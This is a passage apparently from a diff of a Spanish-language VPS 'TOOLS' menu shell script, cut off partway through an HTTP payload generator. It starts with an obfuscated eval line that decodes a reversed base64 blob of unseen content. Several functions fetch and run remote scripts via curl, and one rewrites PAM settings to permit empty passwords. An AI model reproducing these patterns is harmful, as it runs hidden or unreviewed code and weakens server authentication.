sDMbNzMwwVXtVzM7AzWzMDMcNTb2MzOws1MzADXbBSb1MzOws1MzADXiASZtAyboNWZjogIyRHb1ZFIEd1czFGUggVSGBSfdNzWy92Y7RireKOItFzM7AzWzMDMc1Vb1MzOws1MzADXy0mNzsDMbNzMww1Wg0WNzsDMbNzMwwlIgUWLg8GajV2IKISKgEEVFJ0IggSbzMzOws1MzADXgMXZ2FGbDBychJnYhxWYQBSegQnblJncvRFIvVWdx9GbCBSfdNzWy92Y7RireKOItFzM7AzWzMDMc1Vb1MzOws1MzADXx0mNzsDMbNzMww1Wg0WNzsDMbNzMwwlIgUWLg8GajV2IKs2YhJmCnQ3bvJWZytzUQZFISFUSDlkTJVkUgkmZtcCInM1TJ5USN9ERCV1UgIVQSVFVQF0QnAyJT9USOlUTPREIFREIUN1TIFkUUxUVnAyJTRUQPxUWBBFIFREIS9ERBJVROV0RnAyJF5USM50TgM1TWlESDJVQgIVSUJVQQ10TDdCIiQWYkl2YvxWZ2BSZkBCdzVGd7Q1UFRVLEVURQNFIpZWLiAiIS9ERJZlUFNFIMVERgM1TUFERioAXgIiYfxWahZGJgACcpBSd0BSYyV3ZlNHIl5WZpRnbh12OO9USUNURU9kUQBiTBJkMMlUQGBSam1iIgICZlVGczB3Y09FJgQURFB1UtA1QUJCIi4Gc2RWYi9FJg4EUWRUQCBimD7URNJCInIFVMVlVgQ0VTNVQQBCWJZ0JgcibzOcajFmc1dWam52bjtDVOVkUS9EVgs0QPxkQgkmZtcCIj5Wdm9VduVWbKIXYi1CInNXbKISKnMVRMFkUF5URHByUBRlTFlUTBJlUFh0JgQHelRnbpJHcoQCIgASCiASYtFWLgc2ctpQfKIXYi1CInNXbJowJbSp4BSp4XSp45Wp4gkbliDSuVKOI5Wp4gkblijbliHIlifJlinblinbliDSuVKeuVKOI5Wp44Wp4XSp45Wp44Wp4XSp45Wp44Wp4BSp4XSp45Wp4gkblirwkUKegUK+lUK+qUKegUK+oUKOIDSp4gsKlifJliPIliDCuVK+oUK+gUK+gUK+gUK+gUK+qUKegUK+oUK+mUK+sUK+oUK+mUK+sUK+oUKOI4Wp4jSp4rSp4BSp4jSp4KMJliHIli/IliPJliHIli/IlijbliPLlirblivbliPJli/IlijbliHIli/IlivbliPJliPLli/IliPJliHIli/IliPJliHIli/IliPJliHIli/IlijbliHIli/IlivbliDyuVK+JgwDP8ACdhNWCKsHI8xHI9pgchJWLgc2ctlgC0F2Ys9GbgwHIpUWbh52L092by9CI0F2YoQCIlJXd0VnZgYWLgQXZsdWamlgC7BiJmASXdBSZtFmbvQ3bvJ3LgUWLgs1WKIXYlx2YK8GasF2YlJWYj9SZ0lGbt0GZh9yY0V2LgU2YyV3bzpwepgSduVWbfRnchR3cKowZz1GIlNmc192cKg2chJ2LulmYvEyI | r";btpHxajasweNDgSoWuZqexwVYOFKgWAOYSibkLESUnSEVGDenwOuXewuRdNKrdbDXnuYMAxBkQHsJJfRPrPIFvjIoYriKogWPKfu="sxgzhJNCniuSNuaXCxbugpTqBzeKauhUSQinqGwsjIuFXVZNUtazjrSbaTTNASGgAOQPgtzTbXPDXMxxRdTVKaTYorqxJizbEJAj";GsWOkvdHjcQFpVgaUNQMZjCEttVTtpcLvicgYaLzKedoGGQDPROkdrIaYoSffoBCICrBUxdmeYMJZwfzTNIJYHgstWYVtoKdRgIt="";THNeSZtKLMyySQfSWRpwiEwuBrHPVMmlwpTuDOHYWPeOorqENJODFjAGKgyGwZgNeiJTQSMthIcddpIAIDfDbSrFUqOVNGcagfVX="as";NKygDIGQAVkRYVRMGthHnswdhcTMbLikElLxNWGnRROyAfsytqZImmvtaTzAhGjMIdFWCnkdHkegszDOUqmEEyQfUYJhTioEIMHu="rcsXXQrPOrctmLmZQGhSssylViVjrWXdriLonWYZzwXDBmddumGSMcpwCPdUsGkXIKYffMluVvZBVMvDMbdtNWENupzLXmXqkYey";eZZoDtlJXfGTaMHgQewIEDJgMldjaqwNjKYjcdzzZKfBxpHDzVtofMrEKsIrzsEtNDgyoiRGVWPqgeTcLFtBofVpjbjySPNNNIzT="cEBrLTAvmwzEhlRasOLlfwTmjKPUROghSPDwaZHnbRpYIvDfWhDDtLNCjSqKXeNGTBKYOlJOshfKgMvYcPBQYkcEhbkDtrgudvdu";ZFPFSfNxjtzwqPieWwgLoiXXHfewJmoaLZKTOnsaLnirSfdnhyIBwfgaFpWFCoEiuTqhHFtACNqlwAbXHaVCICbHtjdoVlRtLxlk="o";uuadWrmSIlEKNLlQhgmCptXRCrIInTTnGueIlSbnbHLRbjaRVzrReMvpEicjnknYwjCrujqPruPfrFdTLImGyYmZNfaDNrqErkhT="6";GwwYEnkFjxHtRUBMnlGlOalvSSsbPsEIlidQEwiwAQjYLCGfIsxKWxxTCsVAxitgXEiHWNvjtVQFIBdhuXDlAewntrpMEiusoRzw="PVRoFYlOyKEWSfYHOoIeVgxFZzbruhixBhYxixvmElNNoXdmcHVEiEofpVbqwsRCwKAEbJtGXPUFGIALtWFgaaQKfMiBOmBzvDgb";YMjyLByCPFyYxEjeZvVfxZsqoudajOBkoCrvPglFTemmHLJdjQArMlSWBFwXChXUngVUwStHUkJUvvZfCfuyOtpApxZzURRAzVmg=" -d";fGTjPIbrQPyfdSvrIYoGImllrplfbbfOIBBwJZcdwyEvtOGQyRNQAXAwynHhNdktBBxurfcjyCQBCowEwAyxkWnPJKkjEKVyCUEN="PrzGTaMIQsoXZxNPJrZjgkZTDToMlkqnQnvFgozgVWzDxDyIbBITMZWabAhEFbfKvRsCKTPOWKMMSDQrOIBLESqPwRgJoIbFuFkB";bEPoLCsaQZlKOWiGcAiiumxfpHJhVSDZdrZQAIKGXQTSmHrGCrQvrdlfsJGSRdfODqJaCtkslrdsyKiFXnGGJhgAzkSxvydDFrnI="";sXyKioGGGkHWrNMjVpyIWHQCgqOxbQILlyObiQhRTvRkWobwugUyQnAXbgQUXjyIZvBwiTrwhFzspDJOrNDTmZMAsvtqQzRzIYHh="b";jvQyoPfqXeJFwVkfVaYmzrvIqAcrEByWTZDfJdoLNIRLpbhpxoNArbUnBmLzRKrAXpGLSKkgRdLFZSSPmWuqMIygjNyDhTelALns="e";FhaETbQegcuFDsHszOTpkjIEAMryyQfJqazjoxPhaiXQaxdoJuLoqgwTAQRreZKKfOSpWcfWincdWrMsAkpsvrNQBmqfTwYIvord="v |";Tx=Eds;vpwJIZUZrzrqMxrwPQCgjHbngMtwmfqszfACoACjAmFguKuhPpjsKwetvAkZPrBUYGnQRrTSCxPIBnUznKvuptngocPwRPGcsQZa="";ahNToScfmhNBJOPgCzWIJbeNvrFfIJEkRIamfjPPJaUsNeINxzJmulKBfkomxuRysyQLpyuzsZlpdysoqiPxxnrvKjqxRtGirgGI=$(eval "$GsWOkvdHjcQFpVgaUNQMZjCEttVTtpcLvicgYaLzKedoGGQDPROkdrIaYoSffoBCICrBUxdmeYMJZwfzTNIJYHgstWYVtoKdRgIt$jvQyoPfqXeJFwVkfVaYmzrvIqAcrEByWTZDfJdoLNIRLpbhpxoNArbUnBmLzRKrAXpGLSKkgRdLFZSSPmWuqMIygjNyDhTelALns$vAQIVljWndsvhMhNyxVLdBtbmylNztxbQeMzrRkofgHjgvmtWYacNElOrnuAUZLECvENYnDbNFlIxsHJVhEeZLEfpjSRUjTPLShr$RgiJFTltqfzmYxZChcbKgPvPWTFnkPwCTnbcAsOGcysTAqUeLaUTGfIemrpDwdGEEDdFjxTvJbbrQPldxqwVHTJiqUoXFrmuDLeV$ZFPFSfNxjtzwqPieWwgLoiXXHfewJmoaLZKTOnsaLnirSfdnhyIBwfgaFpWFCoEiuTqhHFtACNqlwAbXHaVCICbHtjdoVlRtLxlk$gcgkTRXOmbaAxzGTLOcmHIsJMyFlfhEFlFFlmFKRZinKxMFeCPLgeeAeqXDMrcEHFHiwkCAIpdqrgkQyFbIjhwhFPZVhqajGNoOu$jvQyoPfqXeJFwVkfVaYmzrvIqAcrEByWTZDfJdoLNIRLpbhpxoNArbUnBmLzRKrAXpGLSKkgRdLFZSSPmWuqMIygjNyDhTelALns$FhaETbQegcuFDsHszOTpkjIEAMryyQfJqazjoxPhaiXQaxdoJuLoqgwTAQRreZKKfOSpWcfWincdWrMsAkpsvrNQBmqfTwYIvord$GsWOkvdHjcQFpVgaUNQMZjCEttVTtpcLvicgYaLzKedoGGQDPROkdrIaYoSffoBCICrBUxdmeYMJZwfzTNIJYHgstWYVtoKdRgIt$sXyKioGGGkHWrNMjVpyIWHQCgqOxbQILlyObiQhRTvRkWobwugUyQnAXbgQUXjyIZvBwiTrwhFzspDJOrNDTmZMAsvtqQzRzIYHh$vpwJIZUZrzrqMxrwPQCgjHbngMtwmfqszfACoACjAmFguKuhPpjsKwetvAkZPrBUYGnQRrTSCxPIBnUznKvuptngocPwRPGcsQZa$THNeSZtKLMyySQfSWRpwiEwuBrHPVMmlwpTuDOHYWPeOorqENJODFjAGKgyGwZgNeiJTQSMthIcddpIAIDfDbSrFUqOVNGcagfVX$jvQyoPfqXeJFwVkfVaYmzrvIqAcrEByWTZDfJdoLNIRLpbhpxoNArbUnBmLzRKrAXpGLSKkgRdLFZSSPmWuqMIygjNyDhTelALns$uuadWrmSIlEKNLlQhgmCptXRCrIInTTnGueIlSbnbHLRbjaRVzrReMvpEicjnknYwjCrujqPruPfrFdTLImGyYmZNfaDNrqErkhT$RgiJFTltqfzmYxZChcbKgPvPWTFnkPwCTnbcAsOGcysTAqUeLaUTGfIemrpDwdGEEDdFjxTvJbbrQPldxqwVHTJiqUoXFrmuDLeV$MazeaEKrpPngTNAQnOMVJxJHPVuinlraiGazogbvgjQbYRRZoLnQtFtqCjazaGtvZWBwoPQLACOdfrHxVHJxIlSuMSbOgegiALev$YMjyLByCPFyYxEjeZvVfxZsqoudajOBkoCrvPglFTemmHLJdjQArMlSWBFwXChXUngVUwStHUkJUvvZfCfuyOtpApxZzURRAzVmg$vpwJIZUZrzrqMxrwPQCgjHbngMtwmfqszfACoACjAmFguKuhPpjsKwetvAkZPrBUYGnQRrTSCxPIBnUznKvuptngocPwRPGcsQZa");eval "$bEPoLCsaQZlKOWiGcAiiumxfpHJhVSDZdrZQAIKGXQTSmHrGCrQvrdlfsJGSRdfODqJaCtkslrdsyKiFXnGGJhgAzkSxvydDFrnI$ahNToScfmhNBJOPgCzWIJbeNvrFfIJEkRIamfjPPJaUsNeINxzJmulKBfkomxuRysyQLpyuzsZlpdysoqiPxxnrvKjqxRtGirgGI$GsWOkvdHjcQFpVgaUNQMZjCEttVTtpcLvicgYaLzKedoGGQDPROkdrIaYoSffoBCICrBUxdmeYMJZwfzTNIJYHgstWYVtoKdRgIt$RgiJFTltqfzmYxZChcbKgPvPWTFnkPwCTnbcAsOGcysTAqUeLaUTGfIemrpDwdGEEDdFjxTvJbbrQPldxqwVHTJiqUoXFrmuDLeV"
\ No newline at end of file
+source $(pwd)/msg
+start_menu () {
+source /etc/scpdk1/cabecalho
+clear&&clear
+figlet 'TOOLS'|lolcat
+msg -bar
+echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ➮${cor[3]} Bloqueo Torrent y Palabras Claves \033[0;33m( #BETA )"
+echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ➮${cor[3]} FIX PassWD Vultr"
+echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m ➮${cor[3]} Bad-VPN (Juegos Online/VideoCalls) $_badvpn"
+echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m ➮${cor[3]} TCP SPEED ( BBR ) $_tcpspeed"
+echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;31m ➮${cor[3]} FAILBAN\033[0;32m ( Secure IP ) $fail_b"
+echo -e "\033[0;35m [\033[0;36m6\033[0;35m]\033[0;31m ➮${cor[3]} DETALLES DEL VPS "
+echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\033[0;31m ➮${cor[3]} TEST DE VELOCIDAD DEL SERVIDOR"
+echo -e "\033[0;35m [\033[0;36m8\033[0;35m]\033[0;31m ➮${cor[3]} COMPARTIR ARCHIVO ONLINE"
+echo -e "\033[0;35m [\033[0;36m9\033[0;35m]\033[0;31m ➮${cor[3]} GENERADOR DE PAYLOAD"
+echo -e "\033[0;35m [\033[0;36m10\033[0;35m]\033[0;31m ➮${cor[3]} ULTRA HOST DE DOMINIOS "
+echo -e "\033[0;35m [\033[0;36m11\033[0;35m]\033[0;31m ➮${cor[3]} CAPTURAR SUBDOMINIOS \033[0;33m( #ToolMaster )"
+echo -e "\033[0;35m [\033[0;36m12\033[0;35m]\033[0;31m ➮${cor[3]} REINICIAR VPS (REBOOT)"
+msg -bar
+echo -e " \033[0;35m[\033[0;36m0\033[0;35m]\033[0;31m ➮ $(msg -bra "\033[1;41m[ Regresar ]\e[0m")"
+msg -bar
+}
+
+#FUNCION DE SELECCION
+selection_fun () {
+local selection="null"
+local range
+for((i=0; i<=$1; i++)); do range[$i]="$i "; done
+while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do
+echo -ne "\033[1;37m ESCOJE : " >&2
+read selection
+tput cuu1 >&2 && tput dl1 >&2
+done
+echo $selection
+}
+
+
+block_torrent () {
+msg -bar
+source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/blockT.sh)
+msg -bar
+export PATH=$PATH:/usr/sbin:/usr/local/sbin:/usr/local/bin:/usr/bin:/sbin:/bin:/usr/games
+read -p " Presiona Enter para Continuar"
+exit
+}
+
+fix_vultr () {
+msg -bar #
+echo -e 'Aplicando FIX para Vultr VPS Passwd'
+echo -e "Añadiendo Registro a PAM.D"
+sed -i 's/.*pam_cracklib.so.*/password sufficient pam_unix.so sha512 shadow nullok try_first_pass #use_authtok/' /etc/pam.d/common-password
+msg -bar #
+echo -e "Registro agregado"
+msg -bar #
+sleep 2s
+cgh
+}
+
+badUDP () {
+msg -bar
+echo -e "${cor[4]} BADVPN se instalará
+ que no es más que un programa
+ que libera puertos UDP en el servidor
+ y así permitir el servicio de VideoLlamadas!"
+echo -e "${cor[5]} INICIANDO . . ."
+msg -bar
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/ferramentas/budp.sh)
+}
+
+tcp_BBR () {
+msg -bar
+echo -e "${cor[4]} Este Script fue proyectado"
+echo -e "${cor[4]} Para Mejorar La Latencia"
+echo -e "${cor[4]} y velocidad del servidor!"
+msg -bar
+echo -e "${cor[5]} ANALIZADO POR @ChumoGH"
+sleep 1s
+if [[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]]; then
+#INSTALA
+echo -e "${cor[5]} Este es un script experimental"
+echo -e "${cor[5]} ¡Utilice por su propia cuenta y riesgo!"
+echo -e "${cor[5]} Este script cambiará algunas"
+echo -e "${cor[5]} configuraciones de red (BBR)"
+echo -e "${cor[5]} del sistema para reducir"
+echo -e "${cor[5]} la latencia y mejorar la velocidad"
+msg -bar
+read -p " Continuar con la instalación? [s/n]: " -e -i s resp_osta
+echo -e "\033[1;37m"
+if [[ "$resp_osta" = 's' ]]; then
+unset resp_osta
+echo "#ADM" >> /etc/sysctl.conf
+echo "net.ipv4.tcp_window_scaling = 1
+net.core.rmem_max = 16777216
+net.core.wmem_max = 16777216
+net.ipv4.tcp_rmem = 4096 87380 16777216
+net.ipv4.tcp_wmem = 4096 16384 16777216
+net.ipv4.tcp_low_latency = 1
+net.ipv4.tcp_slow_start_after_idle = 0
+net.core.default_qdisc=fq
+net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
+sysctl -p /etc/sysctl.conf > /dev/null 2>&1
+echo -e "${cor[5]} Configuración de red TCP"
+echo -e "${cor[5]} se han agregado con éxito"
+msg -bar
+return
+ else
+msg -bar
+return
+fi
+ else
+#REMOVE
+echo -e "${cor[5]} Configuración de red TCP"
+echo -e "${cor[5]} ya se han agregado en el sistema!"
+msg -bar
+read -p " Desea quitar la configuración TCP? [s/n]: " -e -i n res_posta
+if [[ "$res_posta" = 's' ]]; then
+unset res_posta
+grep -v "^#ADM
+net.ipv4.tcp_window_scaling = 1
+net.core.rmem_max = 16777216
+net.core.wmem_max = 16777216
+net.ipv4.tcp_rmem = 4096 87380 16777216
+net.ipv4.tcp_wmem = 4096 16384 16777216
+net.ipv4.tcp_low_latency = 1
+net.ipv4.tcp_slow_start_after_idle = 0
+net.core.default_qdisc=fq
+net.ipv4.tcp_congestion_control=bbr" /etc/sysctl.conf > /tmp/syscl && mv -f /tmp/syscl /etc/sysctl.conf
+sysctl -p /etc/sysctl.conf > /dev/null 2>&1
+echo -e "${cor[5]} Configuración de red TCP"
+echo -e "${cor[5]} se han eliminado con éxito"
+msg -bar
+return
+ else
+msg -bar
+return
+ fi
+fi
+}
+
+fail_ban () {
+bash -c "$(curl -fsSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/ferramentas/fai2ban.sh)"
+fail2ban-testcases -x start 2>/dev/null
+fail2ban-client -x start 2>/dev/null
+}
+
+online_url () {
+_SFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2)"
+#portFTP=$(lsof -V -i tcp -P -n | grep apache2 | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | cut -d: -f2 | cut -d' ' -f1 | uniq)
+portFTP=$(echo -e "$_SFTP" |cut -d: -f2 | cut -d' ' -f1 | uniq)
+portFTP=$(echo ${portFTP} | sed 's/\s\+/,/g' | cut -d , -f1)
+#_pFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2 | cut -d " " -f1 | uniq)"
+[[ -z $portFTP ]] && echo -e "SERVICIO FTP NO ACTIVO " || {
+msg -bar
+echo -e "${cor[5]} OPCION PARA COLOCAR"
+echo -e "${cor[5]} CUALQUIER ARCHIVO ONLINE"
+echo -e "${cor[5]} QUE ESTE ARCHIVO"
+echo -e "${cor[5]} EN EL DIRECTORIO \033[1;31m$HOME"
+msg -bar
+meu_ip
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m➮\033[0;33m COLOCAR ARCHIVO ONLINE \033[0;32m(#)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m➮\033[0;33m REMOVER ARCHIVO ONLINE \033[0;32m(#)"
+echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m➮\033[0;31m VER MIS ARCHIVOS ONLINE \033[0;33m(#)"
+msg -bar
+echo -e " \033[0;35m [\033[0;36mENTER\033[0;35m]\033[0;31m ➮ $(msg -bra "\033[1;41m[ Regresar ]\e[0m")"
+read -p " 『 1-3 』: " arquivo_online_adm
+number_var $arquivo_online_adm
+if [ "$var_number" = "" ]; then
+return
+ else
+online_adm="$var_number"
+fi
+if [ "$online_adm" -gt 3 ]; then
+echo -e "${cor[5]} VER MIS ARCHIVOS ONLINE"
+msg -bar
+return
+fi
+if [ "$online_adm" = 3 ]; then
+msg -bar
+for my_arqs in `ls /var/www/html`; do
+if [ "$my_arqs" != "index.html" ]; then
+ if [ ! -d "$my_arqs" ]; then
+echo -e " \033[1;36mhttp://$IP:81/$my_arqs\033[0m"
+ fi
+fi
+done
+msg -bar
+return
+fi
+if [ "$online_adm" = 2 ]; then
+msg -bar
+unset _cont
+_cont="1"
+for my_arqs in `ls /var/www/html`; do
+if [ "$my_arqs" != "index.html" ]; then
+ if [ ! -d "$my_arqs" ]; then
+select_arc[$_cont]="$my_arqs"
+echo -e "${cor[2]}『$_cont』-${cor[3]}【 $my_arqs 】➮ \033[1;36mhttp://$IP:81/$my_arqs\033[0m"
+_cont=$(($_cont + 1))
+ fi
+fi
+done
+_cont=$(($_cont - 1))
+msg -bar #echo -e "${cor[1]} ====================================================== ${cor[0]}"
+echo -e "${cor[5]} Seleccione un archivo:"
+read -p " 『1-$_cont』: " slct
+number_var $slct
+if [ "$var_number" = "" ]; then
+return
+ else
+slct="$var_number"
+fi
+unset _cont
+arquivo_move="${select_arc[$slct]}"
+ if [ "$arquivo_move" = "" ]; then
+echo -e "${cor[5]} Ningún archivo ha sido seleccionado"
+msg -bar #echo -e "${cor[1]} ====================================================== ${cor[0]}"
+return
+ fi
+rm -rf /var/www/html/$arquivo_move > /dev/null 2>&1
+rm -rf /var/www/$arquivo_move > /dev/null 2>&1
+echo -e "${cor[5]} Procedimiento Hecho Con Éxito"
+msg -bar #echo -e "${cor[1]} ====================================================== ${cor[0]}"
+return
+fi
+unset _cont
+_cont="1"
+msg -bar #echo -e "${cor[1]} ====================================================== ${cor[0]}"
+echo -e "${cor[5]} Sus archivos en la carpeta"
+msg -bar #echo -e "${cor[1]} ====================================================== ${cor[0]}"
+for my_arqs in `ls $HOME`; do
+if [ ! -d "$my_arqs" ]; then
+select_arc[$_cont]="$my_arqs"
+echo -e "${cor[2]}【$_cont】➮${cor[3]}$my_arqs"
+_cont=$(($_cont + 1))
+fi
+done
+_cont=$(($_cont - 1))
+msg -bar #echo -e "${cor[1]} ====================================================== ${cor[0]}"
+echo -e "${cor[5]} Selecciona un archivo :"
+read -p " 『1-$_cont』: " slct
+number_var $slct
+if [ "$var_number" = "" ]; then
+return
+ else
+slct="$var_number"
+fi
+unset _cont
+arquivo_move="${select_arc[$slct]}"
+if [ "$arquivo_move" = "" ]; then
+echo -e "${cor[5]} No se selecciono"
+msg -bar #echo -e "${cor[1]} ====================================================== ${cor[0]}"
+return
+fi
+if [ ! -d /var ]; then
+mkdir /var
+fi
+if [ ! -d /var/www ]; then
+mkdir /var/www
+fi
+if [ ! -d /var/www/html ]; then
+mkdir /var/www/html
+fi
+if [ ! -e /var/www/html/index.html ]; then
+touch /var/www/html/index.html
+fi
+if [ ! -e /var/www/index.html ]; then
+touch /var/www/index.html
+fi
+chmod -R 755 /var/www
+cp $HOME/$arquivo_move /var/www/$arquivo_move
+cp $HOME/$arquivo_move /var/www/html/$arquivo_move
+msg -bar
+echo -e "${cor[5]} ACCESO AL ARCHIVO ATRAVES DEL ENLACE"
+echo -e "\033[1;36m http://$IP:81/$arquivo_move\033[0m"
+echo -e "${cor[5]} FICHERO CARGADO CON EXITO !!"
+msg -bar
+}
+
+}
+
+testing_test () {
+clear&&clear
+msg -bar
+
+echo -e " INICIANDO PRUEBAS DE VELOCIDAD !" | pv -qL 25
+llenadatos_() {
+#python
+[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null
+[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
+[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
+echo -e "\033[97m # apt-get install python-pip........... $ESTATUS "
+#pip
+[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || apt-get install python-pip -y &>/dev/null
+[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
+[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
+echo -e "\033[97m # apt-get install python-pip........... $ESTATUS "
+#python3
+[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || apt-get install python3 -y &>/dev/null
+[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
+[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null
+echo -e "\033[97m # apt-get install python3.............. $ESTATUS "
+#python3-pip
+[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || apt-get install python3-pip -y &>/dev/null
+[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
+[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null
+echo -e "\033[97m # apt-get install python3-pip.......... $ESTATUS "
+#speedtest
+[[ $(dpkg --get-selections|grep -w "speedtest"|head -1) ]] || apt-get install speedtest* -y &>/dev/null
+[[ $(dpkg --get-selections|grep -w "speedtest"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
+[[ $(dpkg --get-selections|grep -w "speedtest"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null
+echo -e "\033[97m # apt-get install speedtest ........... $ESTATUS "
+echo "FIX" > /bin/ejecutar/fixTST
+}
+
+[[ -e /bin/ejecutar/fixTST ]] || llenadatos_
+
+function aguarde() {
+ sleep 1
+ helice() {
+ #TMPDIR="$(mktemp -d)"
+ speedtest --share > /bin/ejecutar/result.txt &
+ tput civis
+ while [ -d /proc/$! ]; do
+ for i in / - \\ \|; do
+ sleep .1
+ echo -ne "\e[1D$i"
+ done
+ done
+ tput cnorm
+ }
+ echo -ne "\033[1;37m REALIZANDO PRUEBAS DE\033[1;32m DESCARGA \033[1;37m& \033[1;32mSUBIDA\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m"
+ helice
+ echo -e "\e[1DOk"
+}
+
+msg -bar
+aguarde
+msg -bar
+pingGG=$(ping -c1 google.com |awk '{print $8 $9}' |grep -v loss |cut -d = -f2 |sed ':a;N;s/\n//g;ta')
+power_by=$(less /bin/ejecutar/result.txt | grep "Testing from" | awk '{print $3,$4}')
+down_load=$(less /bin/ejecutar/result.txt | grep "Download" | awk '{print $2,$3}')
+up_load=$(less /bin/ejecutar/result.txt | grep "Upload" | awk '{print $2,$3}')
+resultURL=$(less /bin/ejecutar/result.txt | grep "Share results" | awk '{print $2,$3}')
+echo -e "${cor[5]} HOSTING BASE : $power_by "
+echo -e "${cor[5]} LATENCIA PING : $pingGG "
+echo -e "${cor[5]} V DE SUBIDA : $up_load"
+echo -e "${cor[5]} V DE DESCARGA : $down_load"
+echo -e "${cor[5]} URL DE TEST : $resultURL"
+msg -bar
+return
+}
+
+function_10 () {
+null="\033[1;31m"
+msg -bar
+if [ ! /proc/cpuinfo ]; then
+echo -e "${cor[4]} Error al procesar información"
+msg -bar
+return
+fi
+if [ ! /etc/issue.net ]; then
+echo -e "${cor[4]} Error al procesar información"
+msg -bar
+return
+fi
+if [ ! /proc/meminfo ]; then
+echo -e "${cor[4]} Error al procesar información"
+msg -bar
+return
+fi
+totalram=$(free | grep Mem | awk '{print $2}')
+usedram=$(free | grep Mem | awk '{print $3}')
+freeram=$(free | grep Mem | awk '{print $4}')
+swapram=$(cat /proc/meminfo | grep SwapTotal | awk '{print $2}')
+system=$(cat /etc/issue.net)
+clock=$(lscpu | grep "CPU MHz" | awk '{print $3}')
+based=$(cat /etc/*release | grep ID_LIKE | awk -F "=" '{print $2}')
+processor=$(cat /proc/cpuinfo | grep "model name" | uniq | awk -F ":" '{print $2}')
+cpus=$(cat /proc/cpuinfo | grep processor | wc -l)
+if [ "$system" ]; then
+echo -e "${cor[5]} Su Sistema : ${null}$system"
+else
+echo -e "${cor[5]} Su Sistema : ${null}???"
+fi
+if [ "$based" ]; then
+echo -e "${cor[5]} BASADO : ${null}$based"
+else
+echo -e "${cor[5]} BASADO : ${null}???"
+fi
+if [ "$processor" ]; then
+echo -e "${cor[5]} PROCESADOR FISICO : ${null}$processor x$cpus"
+else
+echo -e "${cor[5]} PROCESADOR FISICO : ${null}???"
+fi
+if [ "$clock" ]; then
+echo -e "${cor[5]} FRECUENCIA MAXIMA : ${null}$clock MHz"
+else
+echo -e "${cor[5]} FRECUENCIA MAXIMA : ${null}???"
+fi
+echo -e "${cor[5]} USO DEL CPU : ${null}$(ps aux | awk 'BEGIN { sum = 0 } { sum += sprintf("%f",$3) }; END { printf " " "%.2f" "%%", sum}')"
+echo -e "${cor[5]} Arquitectura CPU ID : ${null}$(lscpu | grep "Vendor ID" | awk '{print $3}')"
+echo -e "${cor[5]} MEMORIA RAM Total : ${null}$(($totalram / 1024))"
+echo -e "${cor[5]} MEMORIA RAM USADA : ${null}$(($usedram / 1024))"
+echo -e "${cor[5]} MEMORIA RAM LIBRE : ${null}$(($freeram / 1024))"
+echo -e "${cor[5]} MEMORIA SWAP : ${null}$(($swapram / 1024))MB"
+echo -e "${cor[5]} TIEMPO ONLINE : ${null}$(uptime)"
+echo -e "${cor[5]} NOMBRE DEL VPS : ${null}$(hostname)"
+echo -e "${cor[5]} DIRECCION VPS : ${null}$(ip addr | grep inet | grep -v inet6 | grep -v "host lo" | awk '{print $2}' | awk -F "/" '{print $1}' | head -1)"
+echo -e "${cor[5]} DIRECCION DE LA VPS : ${null}$(wget -qO- ifconfig.me)"
+echo -e "${cor[5]} VERSION DEL KERNEL : ${null}$(uname -r)"
+echo -e "${cor[5]} ARQUITECTURA DEL VPS: ${null}$(uname -m)"
+msg -bar
+return
+}
+
+criar_pay () {
+msg -bar
+echo -e "${cor[5]} DIJITE SU HOST PARA EMPEZAR"
+echo -e "${cor[5]} ¡PAYLOADS GENERICAS!"
+echo -e "${cor[5]} INGRESA TU HOST"
+msg -bar
+read -p " => " valor1
+if [ "$valor1" = "" ]; then
+echo -e "${cor[5]} NO SE INGRESO HOST!!!"
+return
+fi
+meu_ip
+valor2="$IP"
+if [ "$valor2" = "" ]; then
+valor2="127.0.0.1"
+fi
+msg -bar
+echo -e "${cor[5]} ELEJIR METODO DE RESPUESTA ${cor[3]}"
+echo -e " 1-GET"
